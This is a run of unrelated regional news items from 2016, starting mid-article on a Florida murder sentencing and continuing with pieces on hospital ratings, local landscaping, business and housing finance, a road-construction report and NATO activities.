Foster carefully and in detail plotted how he and three other gang members would drive to Schwebes' house and commit the murder, Anderson said. He used a shotgun, believing the ballistics could not be traced. He wore a ski mask to protect his identity. He affixed a stolen license plate to the car driven to the murder scene. He later bragged about what the group had done to gang members who hadn't been there, Anderson said.

Anderson was as resolute in his support for the aggravating factors as he was in his disbelief for the mitigating factors offered by Jacobs. The mitigating factors, which included Foster's age and family history, "run the gamut from the sublime to the ridiculous," Anderson said.

Anderson rejected the argument that Foster was too young to know what he was doing, citing Foster's education and travel overseas. He also rejected claims that family background could have been a factor, that the prosecution had offered a prejudiced closing argument and that Foster was being punished disproportionately to other gang members, who received lesser sentences but whom Jacobs argued were equally culpable.

Finally, Anderson addressed the legion of character witnesses who testified that Foster was, essentially, a good, hard-working young man incapable of committing murder. Anderson said virtually none of the 20-plus witnesses had seen Foster during the period the Lords of Chaos were on their crime spree.

Anderson turned to Foster, who sat next to Jacobs. Foster had forfeited his "right to live," the judge said.

"May God have mercy on you," he said. Foster quickly rose, betraying virtually no emotion. Members of Foster's and Schwebes' families, in tears, left the courtroom immediately after Anderson read his opinion.

Reached by phone shortly after the sentencing, Brad Weatherly, jury foreman during Foster's trial, said Foster was given the proper punishment. He added, though, that it would not be easy knowing he played a part in someone else's death.

"I sat there during the trial, and from what I heard, he did it," Weatherly said. "But it's hard. And, you know, it's going to be hard the day he finally gets executed. Knowing that I sat on the jury that sent him there, it's not going to be easy."

Randall McGruther, one of three assistant state attorneys who did the bulk of the prosecuting in Foster's trial, said the case had more of an impact on the local community than any other he had worked on.

"Any time you have a school teacher killed, you have an innocent person gunned down," McGruther said, "it shakes people."

McGruther said that despite Anderson's track record -- he has twice overturned a jury's recommendation to impose the death penalty -- he was not surprised by the decision. The law requires Anderson to give "great weight" to the jury's recommendation.

McGruther also said the state will not attempt to prosecute Foster's mother, Ruby, on perjury charges. That possibility had been raised by prosecutors during the trial after Ruby Foster and her daughter, Kelly, testified Kevin Foster had been at their Lorraine Drive home at the time prosecutors said he was gunning down Schwebes.

"We had looked into that possibility briefly," McGruther said. If Ruby Foster had lied under oath, it shouldn't be excused, McGruther said, "but you're talking about family members here, and I think that explains it."

Jacobs said Foster, despite maintaining in court the poker face he had shown through the trial, was "pretty shaken" after the sentencing.
Lee Memorial Hospital in Fort Myers. File photo

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By Liz Freeman of the Naples Daily News

Federal regulators heeded complaints from hospitals nationwide and have delayed releasing quality scores.

The Centers for Medicare & Medicaid agreed to hold off releasing star ratings on hospital quality until July after receiving letters from industry leaders and members of Congress that pointed to flaws in the methodology.

The five-star rating system was created to measure quality in seven categories: mortality, safety, readmissions, patient experience, effectiveness of care, timeliness and efficiency of medical imaging.

Lee Memorial Health System released its one star rating, the lowest possible, given to all four of its acute care hospitals before its board of directors meeting last week to discuss its plan of action to improve the rating.

Numerous organizations do hospital analytics based on Medicare data but Lee Memorial officials said last week that the federal government is its biggest customer.

"We appreciate CMS' decision to delay, as we know how important accuracy is for quality rating systems like this one," spokeswoman Mary Briggs said in a statement Thursday. "Lee Memorial Health System was one of many hospitals and health systems urging CMS to review the methodology of the quality rating system, along with more than 50 percent of U.S. Senators and Congressmen who signed letters asking CMS to delay releasing the star ratings."

Letters to the center were signed by 225 members of Congress and 60 senators.

The NCH Healthcare System in Collier County said it had received three star ratings at its two acute-care hospitals, NCH Baker Hospital Downtown and North Naples Hospital, but has not released any of the rating details.

"Many health care quality ratings are available to the public today," spokeswoman Debbie Curry said in a statement Thursday. "NCH supports the prompt release of information once it's determined with confidence to be accurate and bring value to the public."

The American Hospital Association and other industry leaders criticized the methodology because it does not consider socioeconomic status of patients, and poor patients who lack regular medical care are sicker and often have more complex needs. They are more likely treated at safety net hospitals and their ratings will be one or two stars and that could be misleading. Lee Memorial is part of the Safety Net Hospital Alliance of Florida.

Physicians Regional Healthcare System in Collier County also said the CMS methodology has limitations yet it supports transparency and consumers being able to gain knowledge about medical care.

"Patients should use the information these resources provide in consultation with their physician to make informed health care decisions," Physicians Regional spokeswoman Marti Van Veen said in a statement. "The measures on Hospital Compare (the government website) were not created to provide a single, methodologically sound representation of hospital quality but rather to meet specific legislated program needs or research purposes."
New landscaping is visible along the E. Terry Street median in Bonita Springs Monday afternoon, near the Sea Coral Ct. intersection. (Ricardo Rolon/The News-Press)

SHARE New landscaping is visible along the E. Terry Street median in Bonita Springs Monday afternoon, near the Sea Coral Ct. intersection. (Ricardo Rolon/The News-Press) New landscaping is visible along the South Tamiami Trail median in Bonita Springs Monday afternoon, near the Emerald Isles intersection. (Ricardo Rolon/The News-Press)

By Bill Smith, The News-Press

Promised as an entrance as grand as that to the Emerald City, some in Bonita Springs may think the city's gateway looks more like the plains of Kansas despite the installation of hundreds of trees and a state-of-the-art irrigation system.

But those in charge of the city's tree-planting project say just give it time to grow.

Mayor Peter Simmons said some areas, such as East Terry Street, look like "the Taj Mahal" while others, like along U.S. 41, seemingly "fell short of what we were trying to accomplish."

Conceived as an investment of more than $3 million in aesthetics that will pay economic development dividends, Bonita's tree planting program just isn't showing results fast enough for some. The architect of the program says the work on East Terry Street is different from the work on U.S. 41 because of the nature of the two roads and Florida Department of Transportation regulations.

"When we did East Terry, there were no restrictions. It's not a state road. You can do whatever you want," said landscape architect Chris Busk who managed the work for the city. "When you get to 41, you have to please everyone. There's DOT. There's drainage swales on each side of the road. We had to dodge all the utilities. The billboard people are really tough."

East Terry Street provides an east-to-west entrance to the center city from Imperial Parkway, an alternative to heavy traffic on U.S. 41. With little existing landscaping to be removed, few businesses along the route and less strict regulatory hurdles, the landscapers had more options for placing plants.

Some had hoped the planting along U.S. 41 would continue in the style of northern Collier County, where Foxtail Palms are tightly bunched along the highway. But that species of palm tree requires maintenance that is labor and material intensive. They require heaping helpings of fertilizer to nourish the sandy soil in which they stand, and then water to activate the fertilizer.

"We didn't think that was what was needed on the streets of Bonita," said Busk, who instead used Royal Palm trees to accent the busy roadway. He made the choice because of the appearance of Royal Palms in road sites, and because they require little more than water, which is piped in along the new irrigation system installed as the old medians were dug up.

"What we were able to do is clusters of Royal Palms, they've survived on McGregor Boulevard (in Fort Myers) for a hundred years," he said. "You have to look at these projects like what it's going to look like over time, not what it looks like today."

The trees were clustered because of visibility standards imposed by FDOT on the highway. Its multitude of turns and traffic engineering's current vogue for sending traffic to a U-turn to cross a median are responsible for expanses where shrubs and ground cover was used.

Because the road also has a 55-mph speed limit, longer stretches had to be kept clear of tall plantings to maximize visibility and reaction time for drivers.

Some existing plants were allowed to remain, and that's where Busk says some of the criticism about inappropriate combination of plants comes in.

"Do you take trees out that were planted 10 years ago that never should have been planted together? Or do you leave them in there because it makes a rich canopy, that has been finished for a number of years?" he said. "It was a tossup, it was a decision that we all made together."

The project included beautifying roadsides as well, and that raised another issue. The west side of the highway is home to a long stretch of well-manicured landscaping along the premier residential communities in the city. The east side is a series of strip commercial plazas.

"There's nothing done that's anything better than Bonita Bay and Pelican Landing," Busk said. "It's beautiful, green lush, wonderful landscaping that you'd like to have on the east side of 41."

Roadside palms were planted on both sides of the street to include the same theme on both sides.

While residents of gated communities are glad to have attractive foliage separating them from a busy roadway, retail business owners want to be seen by every car that rolls down the road.

Public Works Director Matt Feeney said the city heard from "a handful of businesses along the corridor, on the east side of the highway," who wanted trees moved from the original spot selected.

Busk said some of the businesses liked what they saw in drawings, but changed their minds when the contractor arrived with the actual trees.

"What works well in a plan and what works well out in the field can be different," he said

Then there are the billboard companies.

"They have a protected 500-foot view shed," Feeney said. The result is a four-foot height limit on plantings that might interfere with billboard-viewing.

The combined effect of the commercial requirements for billboard and business owners means some parts of U.S. 41 will have more shrubs than stately palms, more ground cover than shade trees.

Busk said those types of plantings will mature quickly, given the year-round nature of the Florida growing season. He stands by his prediction from the summer of 2015 that approaching Bonita Springs from the south will be like entering the Emerald City from the land of Oz.

"It's going to be absolutely stunning, palms can grow eight feet of wood in two years," he said.

Naples Daily News reporter Patrick Riley contributed to this report.
One of the most impressive business stories of the year is the 50th anniversary of Cleopatras Barge Fine Jewelry. Owner and founder Marilyn Janss and her team are celebrating with storewide discounts up to 50% off to say thank you to a Naples community that has made Cleopatras Barge one of the longest running retail businesses in all Collier County.

Janss arrived in Naples in 1966 as a fearless and enterprising young woman and has been at the center of downtown Naples ever since. She has navigated hurricanes, heat waves, real estate booms and busts, global financial crises and is still smiling, still personally greeting customers as they come thru the front door.

Janss had an interest in jewelry design from an early age. One day, while riding a commuter train to New York City, she struck up a conversation with Joseph Castelli, diamond cutter for Cartier and Tiffanys. On the spot, he offered to teach her some of the basics of jewelry designing.

Only 20 when she moved to Naples, she already had imbued a certain amount of Manhattan-style sophistication to go along with her enthusiasm for the trade. Janss named the store Cleopatras Barge after the luxury yacht built by the Crowninshield family in Massachusetts in 1816. It referenced the pleasure barge of the Egyptian Queen with her fabulous jewels. Although it took a while for people to realize Cleopatras Barge on 3rd St South featured fine and fabulous jewelry pieces, she said because of her love of Egyptian history, she has always been pleased with her choice of name.

We are known for having fine jewelry to satisfy everyones taste, from traditional pieces to the most current fashion including exciting new designers such as Vahan, Charles Garnier, Doves by Paloma and I. Reiss. Cleopatras Barge has a vast inventory that not only includes Diamonds, Emeralds, Sapphires, and Rubies but also one of the largest collections of rare Paraiba Tourmalines and other fine unusual gemstones.

Some of the most outstanding pieces have been designed and manufactured by Marilyn Janss herself. In 1992 Marilyn designed and copywrited the now famous Naples Medallion depicting the historical pier. Janss has delighted thousands of customers with her redesigning of their own jewelry. Creatively changing old heirlooms into new heirlooms.

Like many successful entrepreneurs, Janss enjoys the talent and support of her children Nicole and Adam in this family business. Cleopatras Barges accomplishments are never taken for granted. She is a genuine Ambassador for Naples and a generous philanthropist to many of its charities. The friendly atmosphere, the dedication to exemplary service have been the cornerstones of Janss success that she will no doubt be enjoying for the next decade while continuing to be the landmark of the illustrious 3rd Street South shopping district in Naples.
Legal Aid Service of Collier County will be conducting its 8th Annual Barristers Bash fundraiser event and awards ceremony at the Hilton Hotel in Naples in the evening on Thursday, April 28. All members of the public are invited to attend the Barristers Bash, which has become the signature annual social event for the local legal community.



The Barristers Bash was created to celebrate and honor those who have joined with Legal Aid Service of Collier County and demonstrated leadership in assisting the underprivileged population in our community to gain access to justice, and to acknowledge exemplary pro bono service. This year, the following individuals and/or law firms will be honored by Legal Aid:



Law Offices of Donald P. Day  Law Firm of the Year

Curtis B. Cassner, Esq.  Attorney of the Year

Sharon M. Hanlon, Esq.  Leadership Award

Greg A. Champeau, Esq.  Outstanding Pro Bono Service Award

Sister Ines Gizzarelli  Volunteer of the Year



We are excited to be able to honor some outstanding individuals at the upcoming Barristers Bash event, states Jeff Ahren, Legal Aids Development Director and Pro Bono Coordinator. Their service to those less fortunate has made a tremendous difference in the lives of many needy families right here in Collier County.



The format of the Barristers Bash includes cocktail hour, dinner, silent auction, and community awards ceremony. The event begins at 6:00 p.m. Tickets are $125.00 per person. To RSVP, call 239- 298-8143. All proceeds from the event benefit Legal Aid Service of Collier County. Also being honored are the following recipients of Legal Aids Attorney of the Month award: Rebecca Vaccariello, Esq., Kimberly Spiker, Esq., Colette Kellerhouse, Esq., Sara Dunn, Esq., John P. Cardillo, Esq., David Morrison, Esq., Eric Vasquez, Esq. and Anna Bryant, Esq. Lisa Mead, Executive Director of the Collier County Bar Association, served as Chair of the 2016 Barristers Bash Steering Committee.



Legal Aid Service of Collier County (LASCC) is a private, non-profit law firm, and a Division of Legal Aid Service of Broward County, a 501 (c) 3 non-profit corporation. LASCC has its main office in Naples, Florida, and maintains an outreach office in Immokalee, Florida. LASCC provides free civil legal services to thousands of low-income residents in Collier County annually who cannot afford private attorneys on matters of life-changing significance. Please visit collierlegalaid.org to learn more about this organization, or call 239- 775-4555.
Key players in 2022-23 Silly Season Can you hear it? Just listen. That is the sound of the NASCAR rumor mill starting up, and there are plenty of questions to answer for 2023.
Twelve startup teams from across the Eastern U.S. will soon convene in Chattanooga to launch applications and business models that could thrive on gigabit networks. As the newest members of GIGTANK, these entrepreneurs will spend the next three months working with corporate partners, industry experts, investors and established business leaders to ready their companies for the next-generation marketplace.Hosted by The Company Lab (CO.LAB), GIGTANK 365 is a boutique accelerator for startups developing high-bandwidth business applications.As the nations first startup accelerator wired to a metro-wide gigabit network, GIGTANK attracts world-class talent to Chattanooga each summer, as well as ongoing recognition from tech circles across the globe," officials said.This year, the program will accommodate 12 startups and five specialists exploring advanced networking and other emerging technologies in healthcare and other industries. The teams applications address opportunities in virtual reality, 3D printing, streaming and satellite technology, as well as several other areas of promise. To view a summary of each startups work, clickhere.The participants of GIGTANK 365s summer program come from a diverse array of geographies, backgrounds and skillsets. Among them, some are based as far away as Cambridge, Ma., while many others are local or are located in nearby cities such as Nashville, Atlanta, and Birmingham. Most teams will be present in Chattanooga from May 16 through July 29 while free housing is available at the University of Tennessee at Chattanooga (UTC). Two teams will participate remotely and will make periodic visits to Chattanooga throughout the duration of the summer program.One of the things were most excited about is the quality of the teams GIGTANK 365 has attracted from within our own region, said Mike Bradshaw, executive director of CO.LAB and Entrepreneur-in-Residence for GIGTANK 365. The level of involvement of our partners in the community has reached new levels. Several of this summers teams are sponsored by local businesses, deepening the vital connection between entrepreneurs and established businesses.Among those locally-supported teams are One-to-One Telehealth, a telehealth company working with EPB Fiber Optics and One-to-One Personal Physicians Network, and UTChattSat, a space infrastructure company and recipient of the UTC-GIGTANK Fellowship led by Dr. Daniel Loveless. In addition, TelemeterED will carry forward a gigabit-enabled, 4k microscope learning experience piloted at the Chattanooga STEM School in partnership with Public Education Foundation.Gigabit applications like the 4k microscope project are not only redefining students access to high-quality learning experiences, theyre also revolutionizing the way they engage with technology, said Mr. Bradshaw. The fact that projects like this are coming out of Chattanooga today illustrates just how far weve come in our work to make the most of our fiber infrastructure. Now its time to leverage our entrepreneurial leadership to take this application, and others like it, into communities outside our own.In addition to the GIGTANK 365 teams, two local companies will take part in the summer session of CO.LAB Accelerator, which runs concurrently with GIGTANK 365 in three cycles throughout the year. Those companies will learn alongside GIGTANK 365 teams and will share the same mentor network and startup resources.The summer session of GIGTANK 365 and the CO.LAB Accelerator will run from May 16-July 29 and will culminate with a Pitch Night where participants will pitch their companies to an audience of investors and local startup supporters. CO.LAB will host its annual Demo Day, where the top startups from GIGTANK 365 and the CO.LAB Accelerator will pitch their companies to a large audience of investors, media, corporate partners and community members, during Startup Week Chattanooga in October.
The Department of Housing and Urban Development said Friday that an agreement was reached between Fidelity Bank and the Fair Housing Project of North Carolina Legal Aid.

Per the agreement, North Carolina-based Fidelity Bank will earmark $1 million, split over two years, to make investments and originate community development loans in majority-minority census tracts, with 40% going toward investments that promote affordable housing. The agreement settles allegations that the lender engaged in unfair lending practices against minority applicants.

Fidelity Bank did not immediately return requests for comment.

The allegations were brought forth by the Fair Housing Project of North Carolina Legal Aid, a Raleigh-based HUD Fair Housing Initiatives agency. The allegations charged that Fidelity denied or made loans unavailable for race-related reasons.

The agreement also calls for the bank to display a HUD Fair Housing poster and non-discrimination policies in both English and Spanish at one of its Raleigh branches. The bank will also provide fair lending training to loan originators and other employees involved in processing and underwriting loans.

HUD will monitor compliance with the agreement. If the department finds that the bank has breached the agreement, it will refer the matter to the U.S. Attorney General's office.
WASHINGTON  Senate appropriators approved $13 million in new funding to update the Federal Housing Administration's "outdated and unautomated" information technology systems, but rejected President Obama's proposed way of paying for it.

The Department of Housing and Urban Development has been seeking additional funding to modernize its own and FHA's IT systems for several years.

But the Senate subcommittee again rejected the Obama administration's proposal to pay for the update by levying a 4-basis-point fee on lenders. This fee would cost a lender $40 on a $100,000 loan.

"The subcommittee bill rejects the administration's proposal to fund the IT modernization by way of a lender fee," said Chip Unruh, a spokesman for the Senate Transportation, Housing and Urban Development subcommittee.

Overall, the fiscal year 2017 appropriations bill approved by the subcommittee includes $273 million for HUD's IT systems  $23 million above the fiscal 2016 level, with $13 million of the increase going to FHA.

"This funding will ensure FHA is able to retire some of its current IT systems to effectively adapt to changes in the housing industry, economic trends and post-housing-crisis legislation," according to a summary of the bill.
Blackstone Group, with real estate assets that have surpassed $100 billion, is considering tapping individual investors as it expands its push into owning high-quality buildings with steady income streams.

"The prospects for growth in that business are huge," Chairman and Chief Executive Officer Steve Schwarzman said on the company's first-quarter earnings conference call Thursday. "At some point as we move into the retail chain of distribution with this, we should be able to create a really very large-scale business."

Blackstone, which under real estate chief Jon Gray became the world's biggest private equity property investor, is building up its bets on core real estate: high-quality, well-located properties that typically carry less risk than the firm's traditional focus of debt-laden, often distressed, investments. Schwarzman said in 2014 that the firm's core property holdings could reach $100 billion in 10 years. The company's investor capital under management for all real estate surpassed that mark for the first time in the first quarter.

Blackstone pursues what it calls a core-plus strategy  buildings that might require light renovation or leasing work to boost values. The firm last year led the $5.3 billion purchase of Manhattan's Stuyvesant Town-Peter Cooper Village apartment complex with its U.S. core-plus fund formed in 2014, Blackstone Property Partners. Core-plus outperformed all the firms other real estate vehicles last year.

Schwarzman's comments suggest individual investors may be able to put money in core-plus real estate through a new investment pool, such as a real estate investment trust. Blackstone Property Partners currently is an open-end fund available to institutional investors. The firm also invests in core-plus through separately managed accounts with institutional clients in Europe and Asia.

"Real estate core-plus is now $12 billion in only about two years with terrific returns so far," Schwarzman said. "I have extremely ambitious objectives for this area, which is actually about four times the size of the opportunity funds set, as an industry."

Schwarzman said the firm can have "major increases" in profits in the core-plus area. One of the advantages of having an open fund for core-plus is being able to hold investments in near-perpetuity, bolstering assets under management and eliminating the pressure to sell investments that exists in finite-term, closed-end private equity funds.

"The power of this business is holding the assets forever," Blackstone President Tony James said on the call. Typical private equity funds have three to four years to invest the money, then have to sell the investments and return capital to investors.

"The traditional draw-down funds are such treadmills," James said. "This, you don't have to do that, so it just layers and layers and layers and continues to grow AUM."

Blackstone's core-plus investments appreciated 18% to 19% last year, the most of any of its real estate funds, and gained 4.4% in the first quarter, James said.

Blackstone executives said they don't expect those high returns to be sustained. Debt on core-plus investments is limited to 50% and the return targets are lower than in riskier real estate deals, at closer to 10% to 12% rather than 15% to 20%.

The recovery in the equity markets has helped Blackstone sell investments this year, Chief Financial Officer Michael Chae said on the call. He said demand for high-quality real estate is "strong" in private sales, too, as exemplified by the firm's recent $6.5 billion agreement to sell Strategic Hotels & Resorts to China's Anbang Insurance Group Co.

"We have a comprehensive disposition plan for the year and quite an attractive pipeline of potential monetization opportunities around the world," Chae said.
CALIFORNIA

BURLINGAME

ComplianceEase has appointed David Kittle as senior vice president of government and industry relations.

In this role, Kittle will oversee the company's interactions with federal and state regulators, GSEs, capital markets participants and mortgage industry groups.

He was elected chairman of the Mortgage Bankers Association in 2009 and has previously served on the MBA board of directors.

DISTRICT OF COLUMBIA

WASHINGTON

Falcon Capital Advisors said that Robert Gaither has joined the firm as a managing director to support its strategic advisory, risk management and regulatory compliance practices.

Gaither previously served as senior vice president at PNC Mortgage, managing investor and counterparty relationships.

Prior to PNC, he served as a senior vice president for Bank of America, where he was the government lending executive and was responsible for managing the relationships with GSEs, FHA, HUD and Ginnie Mae.

FLORIDA

FORT LAUDERDALE

McGlinchey Stafford PLLC said that Mahra Sarofsky has joined its Fort Lauderdale office and commercial litigation practice as of counsel.

Sarofsky's practice includes the representation of clients in the areas of real estate litigation, bankruptcy litigation, title claims resolution, and various creditors' rights issues in state, federal and bankruptcy courts.

She currently represents companies in complex commercial and contested residential mortgage foreclosure actions throughout Florida.

McGlinchey Stafford also said that Cody Peterson has joined the firm's Dallas office and national commercial litigation practice as of counsel.

For more than a decade, Peterson has represented creditors, lenders, financial institutions, servicers, investors, and real estate companies in commercial and consumer litigation.

He has handled matters relating to commercial and consumer lending, secured property, secured finance, real estate, home equity loans, lines of credit, title, lien priority, lien perfection, and federal and state regulations.

OHIO

CINCINNATI

Weltman, Weinberg & Reis Co. LPA, a full-service creditors' rights law firm, has added attorney Ricardo Johnstone to its Cincinnati office.

As an attorney in the real estate default group, Johnstone will handle real estate default matters within Ohio.

He started working at WWR in 2013 as a legal collector until transitioning into a legal assistant role within the REDG in May 2014.

Are you a mortgage professional who recently changed jobs? Let us know! Send your announcement and photo (if available) to Glenn McCullom at glenn.mccullom@sourcemedia.com.
Theatre students from Lee University will perform Sherrill S. Cannons Have You Seen My Little Lamb?, designed for preschool audiences, ages 2-5 on Saturday, April 30 at 9:30 and 10:30 a.m. in the Buzz Oates Black Box Theater in Lees Communication Arts Building.The show will be directed by Christine Williams, associate professor of theatre, with Catherine Mantooth, senior lecturer in theatre, serving as technical director."Preschool theatre is an emerging field among professional theaters around the world, said Ms.Williams. Theatre companies are interested in helping to spark interest in theatre from a young age. We are excited to offer a theatrical performance to our youngest community members. It is a place where they can learn to enjoy the magic of theatre but also a place where we will embrace their special excitement and energy.Lee students Megan Kinney, Cody Glover, and Andie Phillips will perform in the show, which will last about 20 minutes and feature the character of Mary searching for her little lamb, interacting with other nursery rhyme characters along the way. According to Ms. Williams, young audiences will be invited to interact and sing along with the performers.This is a free, non-ticketed event and open to the public. The shows are funded in part by the Allied Arts Council of Cleveland/Bradley County.For more information, call 423-614-8360 or email theatre@leeuniversity.edu.
Here is the weekly road construction report for Hamilton County:

U.S. 27 (I-124) widening from I-24/U.S. 27 interchange to north of the Olgiati Bridge over the Tennessee River, including widening the Olgiati Bridge: Work on this project continues. The speed limit on U.S. 27 in the construction zone has been lowered to 45 MPH. The contractor may have temporary lane closures on U.S. 27 between 7PM-6AM.



On Thursday evening, the contractor will implement temporary lane closures on U.S.

27 South from the Olgiati Bridge to the 12th Street Bridge and on U.S. 27 North from Market Street to the 12th Street Bridge between 7PM-6AM for repairing asphalt and restriping travel lanes. This work will require multiple lane shifts and traffic will be moved around throughout the night to facilitate the paving. All exit and entrance ramps will remain open.On Monday evening, April 25 and Tuesday evening, April 27, the contractor will implement temporary ramp closures at MLK Blvd. between 7PM-6AM to install storm drains under MLK Blvd. The on-ramp to U.S. 27 North from westbound MLK Blvd. and the on-ramp to U.S. 27 South from westbound MLK Blvd. will be affected. Westbound MLK Blvd will be closed from Chestnut Street to west of U.S. 27, and traffic can detour via Chestnut Street  6th Street  Gateway Avenue. Eastbound MLK Blvd. will have a temporary left lane closure from the U.S. 27 overpass to Chestnut Street. The Northbound US 27 off-ramp to MLK Blvd will allow right turns only. Motorists can also use the 4th Street interchange as an alternate route to/from the downtown area.On Wednesday evening, April 28, and Tuesday evening, April 27, the contractor will implement temporary ramp closures at MLK Blvd. between 7PM-6AM to install storm drains under MLK Blvd. The off-ramp from U.S. 27 South to eastbound MLK Blvd. and the on-ramp to U.S. 27 North from eastbound MLK Blvd. will be affected. Eastbound MLK Blvd. will be closed from west of the U.S. 27 overpass to Chestnut Street, and traffic can detour via Chestnut Street  6th Street  Gateway Avenue. The U.S. 27 North off-ramp to MLK Blvd will allow right turns only. Motorists can also use the 4th Street interchange as an alternate route to/from the downtown area. Traffic on U.S. 27 North will detour to the 4th Street ramp.As the project progresses, there may be short term temporary lane closures for the safety of the traveling public on city streets within the project area. Flaggers will assist with these closures and they will be properly signed in accordance with the Federal Highway Administrations Manual on Uniform Traffic Control Devices. During Phase 1 of the U.S. 27 project, the contractor will be working on the northbound side of U.S. 27 on the bridges. Work will consist of demolishing and reconstructing the outside sections of the bridges along U.S. 27 North. Also on U.S. 27 South, they will be constructing a large retaining wall between the Olgiati Bridge and 6th Street. At least one lane will remain open in each direction on U.S. 27. THP will assist with traffic control on the project as necessary. Estimated project completion date is July 2019. For more info, visit the project website http://www.tn.gov/tdot/topic/US27-reconstruction-chattanooga. [Dement Construction Co., LLC/JM/CNP230]SR 317 (Apison Pike) the grading, drainage and paving on from Old Lee Highway (LM 5.58) to SR-321 (Ooltewah-Ringgold Road) (LM 7.84): Work on this project continues. The contractor will close a portion of Apison Pike to through traffic near LaCollina Way beginning on Wednesday April 27, 2016 at 7PM through Friday April 29, 2016 at noon to install box culverts under Apison Pike. Detours will be posted. Any emergency vehicles that need access through the work zone area will be allowed through. The contractor may have short term lane closures to perform various operations on an as-needed basis. Flaggers will assist with traffic control as needed. Estimated project completion date is May 2017. [Wright Brothers Const. Co. /Pruett/CNN279]

SR-320 (East Brainerd Rd.) grading, drainage, installation of signals, construction of seven retaining walls and paving from east of Graysville Road to east of Bel-Air Road: Work on this project continues. The contractor will have intermittent lane closures during this report period between 9AM-2PM. This work may affect either direction of East Brainerd Road or side streets from Graysville Road to Hamlett Drive as the contractor installs road crossings and borings. The contractor may have short-term lane closures to perform various operations on an as-needed basis. Flaggers will assist with traffic control as needed. Estimated project completion is June 2017. [Mountain State Contractors, LLC /Pruett/CNN383]



Shepherd Road over SR-153 construction of a rolled steel girder bridge from West Shepherd Rd. to Shaw Avenue in Chattanooga, including grading, drainage and paving: Work on this project continues. The bridge has returned to two lanes of traffic. During this report period, the contractor will continue retaining wall and widening work on the Airport Connector Road west of the Shepherd Road Bridge. This work will require that the shoulder and right travel lane heading to the airport on Shepherd Road be closed. This change should only affect those turning right at the top of the ramp from SR-153 South, as they will not have a designated lane to the airport during this work. In the coming week or weeks we may need to close the right shoulder and lane of eastbound Airport Connector Rd. (leaving the airport and going toward SR-153). Traffic should not be impacted other than flagging to let trucks enter and exit the work zone. We will have signs and a message board alerting motorists to the change in traffic pattern. The through lane from the bridge will remain unobstructed except for the occasional flagging for equipment to move in and out. During the project, there may be intermittent nighttime lane closures as necessary in both directions on SR-153 between 8PM-6AM EST. THP will assist with traffic control as necessary on the project. Estimated project completion is October 2016. [Jones Brothers Contractors, Inc./Micka/CNP105]



SR-317 (Bonny Oaks Drive) improvement of the intersection with Volkswagen Drive (LM 3.85) serving Volkswagen Group of America, including grading, drainage and paving: Work on this project continues. During this report period, the contractor will have intermittent lane closures on Bonny Oaks Drive at Volkswagen Drive to perform pavement stabilization operations between 8:30AM and 4PM. The contractor may have short term lane closures on eastbound Bonny Oaks Drive at Volkswagen Drive to perform various operations on as-needed basis. Flaggers will assist with traffic control as needed. Estimated project completion date is April 2016. [Talley Construction Company, Inc. /Pruett/CNN304]



The tunnel cleaning of the McCallie Tunnel on U.S. 11 (US 64, SR-2), the Stringers Ridge Tunnel on U.S. 127 (SR-8), and the Bachman Tubes on U.S. 41 (U.S. 76, SR-8): The nighttime cleaning operation of McCallie Tunnels, Stringers Ridge Tunnel, and Bachman Tubes occurs normally on Wednesday and Thursday nights during the week with the 3rd Tuesday of the month. There will be no tunnel cleaning this week. Work hours are between 8PM-6AM. Tunnels will be closed during cleaning, and detours will be marked accordingly as each tunnel is cleaned. Contract completion date is June 2016. [Diamond Specialized, Inc./Micka/CNP212]






Experts presented their final results and analyses of an academic Science for Peace and Security research project aimed at tracing NATO external images among the Alliances Global Partners in the Asia-Pacific. The event took place on 8 March 2016 at the Canberra-based Australian National University. Participants at the conference came up with a number of proposals and recommended that, in order to be highly effective, NATOs strategy in communication with its Global Partners in Asia-Pacific should feature a distinct degree of differentiation.

The event was attended by 40 participants, including NATO officials, representatives of Australias Department of Foreign Affairs and Trade and Department of Defence, members of diplomatic community, think tanks, and academia. The Conference, held under the Chatham House Rule, was moderated by the high-profile foreign affairs specialist and journalist Mr. Nik Gowing.

Project Partner Country Director, Professor Natalia Chaban, underlined the analytical complexity behind the Projects findings and stressed the importance of research to enhance NATOs public diplomacy efforts in the region. According to her, systematic account of images and perceptions serves as a useful instrument to fine-tune cooperation and collaboration in international relations, while ensuring mutual respect and impact.

The Alliances images in NATOs five Global Partners in Asia-Pacific (Australia, Japan, Mongolia, New Zealand and Republic of Korea) were analysed for their visibility, local resonance, perceived capability and legitimacy as well as emotional charge. The Projects rich empirical findings demonstrated that perceptions of NATO in the region are country-, issue- and elite cohort-specific. The highest visibility was observed in the Japanese media of all types, the lowest - in the Korean media. Analysis also indicated the highest visibility in military media. What is more, it assessed media framings of NATO in terms of perceived capability, with the highest one observed in Mongolia.

The results reported at the conference generated a discussion that highlighted how the findings of the study are of direct relevance to NATO and its global strategy. Furthermore, the findings indicated that, in order to be highly effective, NATOs strategy in communication with its Global Partners in Asia-Pacific should feature a distinct degree of differentiation.

The SPS project has been implemented in cooperation with NATOs Public Diplomacy Division and Tallinn University of Technology (Estonia). It has been led by a team of co-directors from Estonia, New Zealand and the United States and includes researchers from Australia, Japan, Mongolia, New Zealand and the Republic of Korea.

Support for NATO led operations

Australia, Japan, Mongolia, New Zealand and the Republic of Korea have all made important contributions in support of NATOs operations and missions over the past decades, in particular in Afghanistan.
NATO and partner air forces completed two days of exercises in the Baltic region on Wednesday (20 April 2016), practising emergency responses and sharpening their cooperation. Hosted at Amari Air Base in Estonia, Exercise Ramstein Alloy brought together seven Allies  Estonia, Lithuania, Belgium, Poland, Spain, the United Kingdom and the United States  with long-standing NATO partners Finland and Sweden.

In one scenario, a Lithuanian transport aircraft simulated losing contact with air traffic control while in international airspace over the Baltic Sea. Two Finnish F-18 jets scrambled to intercept the plane, later handing it over to two Belgian F-16s, which escorted the aircraft safely back to Estonia. Other practice scenarios included search and rescue operations, air-to-air training and refuelling, and diversions to Baltic airfields.

NATOs Baltic Air Policing assets were actively involved: in addition to the Belgian F-16 jets currently based at Amari, Spanish Eurofighters flew in from Siauliai, Lithuania to participate. A NATO E-3A Early Warning and Control aircraft also flew in from Geilenkirchen, Germany, to support the exercises media event. The training was overseen by the Control and Reporting Post at Amari Air Base, NATOs Combined Air Operations Centre in Uedem, Germany, and by an airborne United Kingdom E-3D Early Warning and Control aircraft.

NATOs air policing responds to military and civilian aircraft that approach Alliance borders without prior notification, as well as aircraft not following international flight regulations. This is designed to minimise risks, and ensure the safety and integrity of Allies airspace. Since 2004, when Estonia, Latvia and Lithuania joined NATO, Allies have patrolled the skies over the three nations on a 24/7 basis.

